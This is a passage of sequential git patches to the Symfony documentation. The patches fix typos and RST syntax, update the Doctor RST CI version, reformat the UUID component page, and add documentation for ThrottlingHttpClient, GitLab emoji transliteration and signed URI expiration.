-    // The only requirement is that the variant and version bits MUST be set as defined in Section 4:
-    // https://www.ietf.org/archive/id/draft-peabody-dispatch-new-uuid-format-04.html#variant_and_version_fields
-    // UUIDv8 uniqueness will be implementation-specific and SHOULD NOT be assumed.
-    $uuid = Uuid::v8();
+        // $uuid is an instance of Symfony\Component\Uid\UuidV8
+        $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 

From 5abfb8e3641ecf2f4965fdd12213d1a5efa5dbf9 Mon Sep 17 00:00:00 2001
From: Bram de Smidt <Bramw2003@users.noreply.github.com>
Date: Wed, 3 Apr 2024 14:36:54 +0200
Subject: [PATCH 5959/7107] fix: typo in proxy docs

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 82ea4dcffab..dcef631648f 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -156,7 +156,7 @@ subpath/subfolder of the reverse proxy.
 To fix this, you need to pass the subpath/subfolder route prefix of the reverse
 proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
 normally be configured in your reverse proxy configuration. Configure
-``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+``X-Forwarded-Prefix`` as trusted header to be able to use this feature.
 
 The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
 objects, which is used to generate absolute paths and URLs in Symfony applications.

From e96680c413ec6c295b565d614adb47cd8d47cf92 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 3 Apr 2024 16:23:38 +0200
Subject: [PATCH 5960/7107] minor

---
 deployment/proxies.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 0fdb3fd9350..3d5bab95474 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -169,7 +169,7 @@ subpath/subfolder of the reverse proxy.
 To fix this, you need to pass the subpath/subfolder route prefix of the reverse
 proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
 normally be configured in your reverse proxy configuration. Configure
-``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+``X-Forwarded-Prefix`` as trusted header to be able to use this feature.
 
 The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
 objects, which is used to generate absolute paths and URLs in Symfony applications.

From 3887d883b8ae741f8353493d9af79a001819953f Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 3 Apr 2024 22:08:14 +0200
Subject: [PATCH 5961/7107] Use Doctor RST 1.59.0

---
 .doctor-rst.yaml          | 1 +
 .github/workflows/ci.yaml | 2 +-
 2 files changed, 2 insertions(+), 1 deletion(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 6e7b6e044cb..f8b4ba96a91 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -12,6 +12,7 @@ rules:
     correct_code_block_directive_based_on_the_content: ~
     deprecated_directive_should_have_version: ~
     ensure_bash_prompt_before_composer_command: ~
+    ensure_correct_format_for_phpfunction: ~
     ensure_exactly_one_space_before_directive_type: ~
     ensure_exactly_one_space_between_link_definition_and_link: ~
     ensure_github_directive_start_with_prefix:
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index e93f8295b65..50524a74310 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.57.1
+                uses: docker://oskarstark/doctor-rst:1.59.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From f68defc1f4307b61fca1e756983c6a4a06e2543e Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Wed, 3 Apr 2024 22:43:01 +0200
Subject: [PATCH 5962/7107] [FrameworkBundle] Remove mention of inexistant
 `ignore_cache` option

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/framework.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a7a5684fbc..57693ff0b1d 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1514,15 +1514,7 @@ The directory where routing information will be cached. Can be set to
 .. deprecated:: 7.1
 
     Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
-    are now always cached in the ``%kernel.build_dir%`` directory. If you want
-    to disable route caching, set the ``ignore_cache`` option to ``true``.
-
-ignore_cache
-............
-
-**type**: ``boolean`` **default**: ``false``
-
-When this option is set to ``true``, routing information will not be cached.
+    are now always cached in the ``%kernel.build_dir%`` directory.
 
 secrets
 ~~~~~~~

From 4e82adba79c82e9b65bb7b86e21b19bc3075f18b Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Wed, 3 Apr 2024 19:23:02 -0400
Subject: [PATCH 5963/7107] Discourage append config on prepend extension
 method

---
 bundles/prepend_extension.rst | 10 +---------
 1 file changed, 1 insertion(+), 9 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index fcad249124e..afde2595e98 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -158,7 +158,7 @@ Prepending Extension in the Bundle Class
 
     The ``AbstractBundle`` class was introduced in Symfony 6.1.
 
-You can also append or prepend extension configuration directly in your
+You can also prepend extension configuration directly in your
 Bundle class if you extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle`
 class and define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\AbstractBundle::prependExtension`
 method::
@@ -175,14 +175,6 @@ method::
             $containerBuilder->prependExtensionConfig('framework', [
                 'cache' => ['prefix_seed' => 'foo/bar'],
             ]);
-
-            // append
-            $containerConfigurator->extension('framework', [
-                'cache' => ['prefix_seed' => 'foo/bar'],
-            ]);
-
-            // append from file
-            $containerConfigurator->import('../config/packages/cache.php');
         }
     }
 

From 265a69ccae8e8250255cf596bc42c357f77b4cfc Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 2 Apr 2024 20:52:04 +0200
Subject: [PATCH 5964/7107] [FrameworkBundle][HttpClient] Add
 ThrottlingHttpClient

---
 http_client.rst                       | 34 +++++++++++++++++++++++++++
 reference/configuration/framework.rst | 14 +++++++++++
 2 files changed, 48 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 1966dfba064..3a649f452fd 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1474,6 +1474,40 @@ installed in your application::
 :class:`Symfony\\Component\\HttpClient\\CachingHttpClient` accepts a third argument
 to set the options of the :class:`Symfony\\Component\\HttpKernel\\HttpCache\\HttpCache`.
 
+Limit the Number of Requests
+----------------------------
+
+This component provides a :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient`
+decorator that allows to limit the number of requests within a certain period.
+
+The implementation leverages the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
+so that the :doc:`Rate Limiter component </rate_limiter>` needs to be
+installed in your application::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\ThrottlingHttpClient;
+    use Symfony\Component\RateLimiter\LimiterInterface;
+
+    $rateLimiter = ...; // $rateLimiter is an instance of Symfony\Component\RateLimiter\LimiterInterface
+    $client = HttpClient::create();
+    $client = new ThrottlingHttpClient($client, $rateLimiter);
+
+    $requests = [];
+    for ($i = 0; $i < 100; $i++) {
+        $requests[] = $client->request('GET', 'https://example.com');
+    }
+
+    foreach ($requests as $request) {
+        // Depending on rate limiting policy, calls will be delayed
+        $output->writeln($request->getContent());
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Component\\HttpClient\\ThrottlingHttpClient` was
+    introduced in Symfony 7.1.
+
 Consuming Server-Sent Events
 ----------------------------
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 5a7a5684fbc..d61f94007a8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1174,6 +1174,20 @@ query
 An associative array of the query string values added to the URL before making
 the request. This value must use the format ``['parameter-name' => parameter-value, ...]``.
 
+rate_limiter
+............
+
+**type**: ``string``
+
+This option limit the number of requests within a certain period thanks
+to the :doc:`Rate Limiter component </rate_limiter>`.
+
+The rate limiter service ID you want to use.
+
+.. versionadded:: 7.1
+
+    The ``rate_limiter`` option was introduced in Symfony 7.1.
+
 resolve
 .......
 

From d49c1d71b885817d240828b22c55d1ab6c19a106 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:04:30 +0200
Subject: [PATCH 5965/7107] Minor reword

---
 reference/configuration/framework.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d61f94007a8..e8db5e27eb6 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1179,10 +1179,9 @@ rate_limiter
 
 **type**: ``string``
 
-This option limit the number of requests within a certain period thanks
-to the :doc:`Rate Limiter component </rate_limiter>`.
-
-The rate limiter service ID you want to use.
+The service ID of the rate limiter used to limit the number of HTTP requests
+within a certain period. The service must implement the
+:class:`Symfony\\Component\\RateLimiter\\LimiterInterface`.
 
 .. versionadded:: 7.1
 

From c41f6c6e74925a895a016246aa3148cd51d64ad4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:06:22 +0200
Subject: [PATCH 5966/7107] Minor grammar fix

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 3a649f452fd..c7c80ca57f3 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -1482,7 +1482,7 @@ decorator that allows to limit the number of requests within a certain period.
 
 The implementation leverages the
 :class:`Symfony\\Component\\RateLimiter\\LimiterInterface` class under the hood
-so that the :doc:`Rate Limiter component </rate_limiter>` needs to be
+so the :doc:`Rate Limiter component </rate_limiter>` needs to be
 installed in your application::
 
     use Symfony\Component\HttpClient\HttpClient;

From b3492fba6fb350831903c4862589109629de402d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 10:49:18 +0200
Subject: [PATCH 5967/7107] Fix a syntax issue

---
 components/expression_language.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index f622326944e..8092ce491ed 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -82,7 +82,7 @@ Null Coalescing Operator
 
 .. note::
 
-    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`
+    This content has been moved to the ref:`null coalescing operator <component-expression-null-coalescing-operator>`_
     section of ExpressionLanguage syntax reference page.
 
 Parsing and Linting Expressions

From 88cf04fa4a42cb6a9a9e32c317605adb590f364f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 4 Apr 2024 11:01:27 +0200
Subject: [PATCH 5968/7107] [Uid] Update some RST syntax

---
 components/uid.rst | 140 ++++++++++++++++++++++++---------------------
 1 file changed, 74 insertions(+), 66 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index a2833a10d61..e64eabee0fb 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -30,105 +30,113 @@ Use the named constructors of the ``Uuid`` class or any of the specific classes
 to create each type of UUID:
 
 **UUID v1** (time-based)
-    Generates the UUID using a timestamp and the MAC address of your device
-    (`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
-    Both are obtained automatically, so you don't have to pass any constructor argument::
 
-        use Symfony\Component\Uid\Uuid;
+Generates the UUID using a timestamp and the MAC address of your device
+(`read UUIDv1 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-1>`__).
+Both are obtained automatically, so you don't have to pass any constructor argument::
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV1
-        $uuid = Uuid::v1();
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV1
+    $uuid = Uuid::v1();
 
-    .. tip::
+.. tip::
 
-        It's recommended to use UUIDv7 instead of UUIDv1 because it provides
-        better entropy.
+    It's recommended to use UUIDv7 instead of UUIDv1 because it provides
+    better entropy.
 
 **UUID v2** (DCE security)
-    Similar to UUIDv1 but with a very high likelihood of ID collision
-    (`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
-    It's part of the authentication mechanism of DCE (Distributed Computing Environment)
-    and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
-    This UUID variant is **not implemented** by the Uid component.
+
+Similar to UUIDv1 but with a very high likelihood of ID collision
+(`read UUIDv2 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-2>`__).
+It's part of the authentication mechanism of DCE (Distributed Computing Environment)
+and the UUID includes the POSIX UIDs (user/group ID) of the user who generated it.
+This UUID variant is **not implemented** by the Uid component.
 
 **UUID v3** (name-based, MD5)
-    Generates UUIDs from names that belong, and are unique within, some given namespace
-    (`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
-    This variant is useful to generate deterministic UUIDs from arbitrary strings.
-    It works by populating the UUID contents with the``md5`` hash of concatenating
-    the namespace and the name::
 
-        use Symfony\Component\Uid\Uuid;
+Generates UUIDs from names that belong, and are unique within, some given namespace
+(`read UUIDv3 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-3>`__).
+This variant is useful to generate deterministic UUIDs from arbitrary strings.
+It works by populating the UUID contents with the``md5`` hash of concatenating
+the namespace and the name::
 
-        // you can use any of the predefined namespaces...
-        $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
-        // ...or use a random namespace:
-        // $namespace = Uuid::v4();
+    use Symfony\Component\Uid\Uuid;
+
+    // you can use any of the predefined namespaces...
+    $namespace = Uuid::fromString(Uuid::NAMESPACE_OID);
+    // ...or use a random namespace:
+    // $namespace = Uuid::v4();
 
-        // $name can be any arbitrary string
-        // $uuid is an instance of Symfony\Component\Uid\UuidV3
-        $uuid = Uuid::v3($namespace, $name);
+    // $name can be any arbitrary string
+    // $uuid is an instance of Symfony\Component\Uid\UuidV3
+    $uuid = Uuid::v3($namespace, $name);
 
-    These are the default namespaces defined by the standard:
+These are the default namespaces defined by the standard:
 
-      * ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
-      * ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
-      * ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
-      * ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
+* ``Uuid::NAMESPACE_DNS`` if you are generating UUIDs for `DNS entries <https://en.wikipedia.org/wiki/Domain_Name_System>`__
+* ``Uuid::NAMESPACE_URL`` if you are generating UUIDs for `URLs <https://en.wikipedia.org/wiki/URL>`__
+* ``Uuid::NAMESPACE_OID`` if you are generating UUIDs for `OIDs (object identifiers) <https://en.wikipedia.org/wiki/Object_identifier>`__
+* ``Uuid::NAMESPACE_X500`` if you are generating UUIDs for `X500 DNs (distinguished names) <https://en.wikipedia.org/wiki/X.500>`__
 
 **UUID v4** (random)
-    Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
-    Because of its randomness, it ensures uniqueness across distributed systems
-    without the need for a central coordinating entity. It's privacy-friendly
-    because it doesn't contain any information about where and when it was generated::
 
-        use Symfony\Component\Uid\Uuid;
+Generates a random UUID (`read UUIDv4 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-4>`__).
+Because of its randomness, it ensures uniqueness across distributed systems
+without the need for a central coordinating entity. It's privacy-friendly
+because it doesn't contain any information about where and when it was generated::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV4
-        $uuid = Uuid::v4();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV4
+    $uuid = Uuid::v4();
 
 **UUID v5** (name-based, SHA-1)
-    It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
-    ``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
-    This makes it more secure and less prone to hash collisions.
+
+It's the same as UUIDv3 (explained above) but it uses ``sha1`` instead of
+``md5`` to hash the given namespace and name (`read UUIDv5 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-5>`__).
+This makes it more secure and less prone to hash collisions.
 
 **UUID v6** (reordered time-based)
-    It rearranges the time-based fields of the UUIDv1 to make it lexicographically
-    sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
-    (`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
 
-        use Symfony\Component\Uid\Uuid;
+It rearranges the time-based fields of the UUIDv1 to make it lexicographically
+sortable (like :ref:`ULIDs <ulid>`). It's more efficient for database indexing
+(`read UUIDv6 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-6>`__)::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV6
-        $uuid = Uuid::v6();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV6
+    $uuid = Uuid::v6();
 
-    .. tip::
+.. tip::
 
-        It's recommended to use UUIDv7 instead of UUIDv6 because it provides
-        better entropy.
+    It's recommended to use UUIDv7 instead of UUIDv6 because it provides
+    better entropy.
 
 **UUID v7** (UNIX timestamp)
-    Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
-    source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
-    (`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
-    It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
-    better entropy (and a more strict chronological order of UUID generation)::
 
-        use Symfony\Component\Uid\Uuid;
+Generates time-ordered UUIDs based on a high-resolution Unix Epoch timestamp
+source (the number of milliseconds since midnight 1 Jan 1970 UTC, leap seconds excluded)
+(`read UUIDv7 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-7>`__).
+It's recommended to use this version over UUIDv1 and UUIDv6 because it provides
+better entropy (and a more strict chronological order of UUID generation)::
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV7
-        $uuid = Uuid::v7();
+    use Symfony\Component\Uid\Uuid;
+
+    // $uuid is an instance of Symfony\Component\Uid\UuidV7
+    $uuid = Uuid::v7();
 
 **UUID v8** (custom)
-    Provides an RFC-compatible format for experimental or vendor-specific use cases
-    (`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
-    The only requirement is to set the variant and version bits of the UUID. The rest
-    of the UUID value is specific to each implementation and no format should be assumed::
 
-        use Symfony\Component\Uid\Uuid;
+Provides an RFC-compatible format for experimental or vendor-specific use cases
+(`read UUIDv8 spec <https://datatracker.ietf.org/doc/html/draft-ietf-uuidrev-rfc4122bis#name-uuid-version-8>`__).
+The only requirement is to set the variant and version bits of the UUID. The rest
+of the UUID value is specific to each implementation and no format should be assumed::
+
+    use Symfony\Component\Uid\Uuid;
 
-        // $uuid is an instance of Symfony\Component\Uid\UuidV8
-        $uuid = Uuid::v8();
+    // $uuid is an instance of Symfony\Component\Uid\UuidV8
+    $uuid = Uuid::v8();
 
 .. versionadded:: 6.2
 

From 4b42411181c0815344a97cf7d6c9c5369892aa00 Mon Sep 17 00:00:00 2001
From: pierreboissinot <pierre.boissinot@lephare.com>
Date: Thu, 4 Apr 2024 14:37:34 +0200
Subject: [PATCH 5969/7107] docs: encodedEnvelope is already an array

See https://github.com/symfony/symfony-docs/commit/3c4fe2ae832b0aa0a67a87a93c4c5788ce9a0055#r132772105
---
 messenger.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ea8a66ae8cc..1f56e76ed7c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2603,12 +2603,10 @@ Let's say you want to create a message decoder::
     {
         public function decode(array $encodedEnvelope): Envelope
         {
-            $envelope = \json_decode($encodedEnvelope, true);
-
             try {
                 // parse the data you received with your custom fields
-                $data = $envelope['data'];
-                $data['token'] = $envelope['token'];
+                $data = $encodedEnvelope['data'];
+                $data['token'] = $encodedEnvelope['token'];
 
                 // other operations like getting information from stamps
             } catch (\Throwable $throwable) {

From 815e8de93c0a6c1b90650d68d0a9e7dd1b5f9d72 Mon Sep 17 00:00:00 2001
From: Matthias Schmidt <matthias@mttsch.dev>
Date: Thu, 4 Apr 2024 20:31:29 +0200
Subject: [PATCH 5970/7107] [Serializer] Fix punctuation in custom encoders
 docs

---
 serializer/custom_encoders.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 9f8a9d8448d..95f3131f418 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -56,7 +56,7 @@ create your own encoder that uses the
 Registering it in your app
 --------------------------
 
-If you use the Symfony Framework. then you probably want to register this encoder
+If you use the Symfony Framework, then you probably want to register this encoder
 as a service in your app. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 that's done automatically!
 

From 0163c71fb5e24a299153035b67e37a36fdcd8e89 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 3 Apr 2024 22:33:49 +0200
Subject: [PATCH 5971/7107] [Emoji] Add the gitlab locale

---
 string.rst | 19 +++++++++++++++++--
 1 file changed, 17 insertions(+), 2 deletions(-)

diff --git a/string.rst b/string.rst
index 62336e461cf..b4f6d2d1be7 100644
--- a/string.rst
+++ b/string.rst
@@ -560,7 +560,7 @@ textual representation in all languages based on the `Unicode CLDR dataset`_::
 
 
 The ``EmojiTransliterator`` also provides special locales that convert emojis to
-short codes and vice versa in specific platforms, such as GitHub and Slack.
+short codes and vice versa in specific platforms, such as GitHub, Gitlab and Slack.
 
 GitHub Emoji Transliteration
 ............................
@@ -577,6 +577,21 @@ Convert GitHub short codes to emojis with the ``github-emoji`` locale::
     $transliterator->transliterate('Teenage :turtle: really love :pizza:');
     // => 'Teenage 🐢 really love 🍕'
 
+Gitlab Emoji Transliteration
+............................
+
+Convert Gitlab emojis to short codes with the ``emoji-gitlab`` locale::
+
+    $transliterator = EmojiTransliterator::create('emoji-gitlab');
+    $transliterator->transliterate('Breakfast with 🥝 or 🥛');
+    // => 'Breakfast with :kiwi: or :milk:'
+
+Convert Gitlab short codes to emojis with the ``gitlab-emoji`` locale::
+
+    $transliterator = EmojiTransliterator::create('gitlab-emoji');
+    $transliterator->transliterate('Breakfast with :kiwi: or :milk:');
+    // => 'Breakfast with 🥝 or 🥛'
+
 Slack Emoji Transliteration
 ...........................
 
@@ -693,7 +708,7 @@ with the slugger to transform any emojis into their textual representation::
     // $slug = 'un-chat-qui-sourit-chat-noir-et-un-tete-de-lion-vont-au-parc-national';
 
 If you want to use a specific locale for the emoji, or to use the short codes
-from GitHub or Slack, use the first argument of ``withEmoji()`` method::
+from GitHub, Gitlab or Slack, use the first argument of ``withEmoji()`` method::
 
     use Symfony\Component\String\Slugger\AsciiSlugger;
 

From 7dd0472745931d81b6683c239438c0f0ae69ea97 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Fri, 5 Apr 2024 14:26:38 +0200
Subject: [PATCH 5972/7107] Remove the warning marking the symfony server
 config file as experimental

---
 setup/symfony_server.rst | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c5608a871fb..c609556a151 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -307,11 +307,6 @@ server provides a ``run`` command to wrap them as follows:
 Configuration file
 ------------------
 
-.. caution::
-
-    This feature is experimental and could change or be removed at any time
-    without prior notice.
-
 There are several options that you can set using a ``.symfony.local.yaml`` config file:
 
 .. code-block:: yaml

From 154efb591decdf218b0647eac3bc4706ea088ccc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Apr 2024 17:08:55 +0200
Subject: [PATCH 5973/7107] Update session.rst

using Redis as class is in error, the class needs to be specified as \Redis as that is the correct namespace.
---
 session.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/session.rst b/session.rst
index 3298e425965..549bf63d912 100644
--- a/session.rst
+++ b/session.rst
@@ -541,7 +541,7 @@ a Symfony service for the connection to the Redis server:
 
             Redis:
                 # you can also use \RedisArray, \RedisCluster or \Predis\Client classes
-                class: Redis
+                class: \Redis
                 calls:
                     - connect:
                         - '%env(REDIS_HOST)%'

From 2c36398f1506f7400be766c65e35a022087c124f Mon Sep 17 00:00:00 2001
From: Amelie Le Coz <lecozamelie@hotmail.com>
Date: Sat, 6 Apr 2024 13:55:59 +0200
Subject: [PATCH 5974/7107] Fix wrong URL for Twig Environment

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 1ff0ab1d44f..a46a211692c 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1593,7 +1593,7 @@ for this class and :doc:`tag your service </service_container/tags>` with ``twig
 .. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
 .. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
 .. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
-.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
+.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Environment.php
 .. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
 .. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html

From 549de499fc334287e95c6227a07be92102c0ba4c Mon Sep 17 00:00:00 2001
From: Baptiste CONTRERAS <38988658+BaptisteContreras@users.noreply.github.com>
Date: Sat, 6 Apr 2024 20:45:27 +0200
Subject: [PATCH 5975/7107] [HttpFoundation] add documention for signed URI
 expiration

---
 routing.rst | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 65 insertions(+)

diff --git a/routing.rst b/routing.rst
index 53ebe003e0a..0852883b9ee 100644
--- a/routing.rst
+++ b/routing.rst
@@ -2694,6 +2694,71 @@ service, which you can inject in your services or controllers::
         }
     }
 
+You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument
+of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can
+specify an expiration date by several ways::
+
+    // src/Service/SomeService.php
+    namespace App\Service;
+
+    use Symfony\Component\HttpFoundation\UriSigner;
+
+    class SomeService
+    {
+        public function __construct(
+            private UriSigner $uriSigner,
+        ) {
+        }
+
+        public function someMethod(): void
+        {
+            // ...
+
+            // generate a URL yourself or get it somehow...
+            $url = 'https://example.com/foo/bar?sort=desc';
+
+            // sign the URL with an explicit expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01'));
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            // if given a \DateInterval, it will be added from now to get the expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S'));  // valid for 10 seconds from now
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9'
+
+            // check the URL signature
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = true
+
+            sleep(30); // wait 30 seconds...
+
+            // the URL signature has expired
+            $uriSignatureIsValid = $this->uriSigner->check($signedUrl);
+            // $uriSignatureIsValid = false
+
+            // you can also use a timestamp in seconds
+            $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9'
+
+        }
+    }
+
+.. caution::
+
+    `null` means no expiration for the signed URI.
+
+.. note::
+
